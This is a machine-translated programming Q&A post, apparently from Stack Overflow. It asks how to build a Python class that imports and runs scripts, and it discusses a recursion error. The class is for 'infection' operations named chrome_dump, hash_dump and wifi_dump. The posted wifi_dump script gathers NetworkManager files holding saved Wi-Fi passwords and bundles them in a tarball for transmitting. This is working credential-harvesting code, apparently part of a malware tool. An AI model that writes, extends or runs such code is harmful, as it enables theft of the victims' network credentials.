首先让我解释一下我正在尝试做什么,我想创建一个类来从某个目录(如果该文件存在)导入文件, ,并将该文件作为脚本运行。例如:创建一个类来导入脚本并运行该类中的脚本
class RunScript(object):
def __init(self, script):
if script in someListThatContainsScriptNamesProbablyJSONFile:
self.script = # do something fancy and import the script
def run_exec(self):
# do something and execute the script maybe subprocess?
所以我的问题是,我该如何成功地从这个类运行脚本?我真的不想使用子流程,因为我认为它可能看起来有点乱,有另一种方法可以做到这一点吗?如果不是,那么使用子处理就完全没问题。
我试过到目前为止:
import os
__all__ = [
"ask_pass", "chrome_dump", "firefox_dump",
"hash_dump", "wifi_dump"
]
script_path = "{}/opts/infection_opt/{}"
class ExecuteInfection(object):
@staticmethod
def __fix_filename(filename):
if ".py" in filename:
ext_index = filename.index(".")
return filename[ext_index:-1]
def __init__(self, script):
if ExecuteInfection(script).__fix_filename(script) in __all__:
self.script = __import__(script_path.format(os.getcwd(), script))
else:
raise ImportError("{} is not a valid infection operation script.".format(script))
然而,这在运行时,我得到一个错误说:
if ExecuteInfection(script).__fix_filename(script) in __all__:
RuntimeError: maximum recursion depth exceeded
在参考意见,回答,在这里是我将要导入的脚本之一
import os
import tarfile
import string
import random
def _find_config_files(path="/etc/NetworkManager/system-connections"):
"""
Find the configuration files that contain the Wifi passwords
> :param path: path to the configuration files
> :return: True and the files or False and None if nothing found
Example:
>>> _find_config_files()
(True, set(['AgE1a2', 'AISNetwork2', 'BBB1ffC9ce', 'AISNetwork1']))
"""
found_files = set()
if os.path.exists(path):
for item in os.listdir(path):
found_files.add(os.path.join(path, item))
return True, found_files
return False, None
def _make_tar(status, _file_start="nm_log_{}.tar.gz", tmp_dir="/tmp/{}"):
"""
Create a tar file and store it in the temp directory for processing
and transmitting
> :param status: the status and the files found
> :param _file_start: the start of the name of the tar file
> :param tmp_dir: path to the temp directory to be formatted
> :return: full path to the created filename or None
"""
def __rand_filename(_start, ints=string.digits, length=4):
"""
Create a random filename for the tarfile
> :param _start: start of the filename
> :param ints: the acceptable numbers to be used
> :param length: the length of the filename
> :return: a random filename
Example
>>> _make_tar((True, set(["test.txt"]))).__rand_filename(_file_start)
nm_log_4768.tar.gz
"""
_finalize = [random.choice(ints) for _ in range(length)]
return _start.format(''.join(_finalize))
filename = __rand_filename(_file_start)
file_path = tmp_dir.format(filename)
if status[0]:
with tarfile.open(file_path, "w:gz") as tar:
for f in status[1]:
tar.add(f)
return file_path
else:
print(
"no tarball could be created, it appears that no files could be found "
"assuming that the files don't exist and this person has no idea what "
"the internet is, get out now."
) # todo:/ change to log
return None
def main():
""" main function of the script """
data_found = _find_config_files()
filename = _make_tar(data_found)
if filename is not None:
return filename
if __name__ == "__main__":
main()
您尝试导入自制的脚本?它看起来像这个问题,而不是在这些脚本内:使用“哑”使我认为你正在试图删除的东西,你可能会做递归。 有没有办法使它超过999个递归步骤?正如错误消息所述,python有一个限制。 –
换句话说,如果你有这个错误,看到导入这个错误的脚本将会很好。 –
@Alceste_对于延迟响应抱歉,我可以继续发布我正在导入的其中一个脚本。一秒 –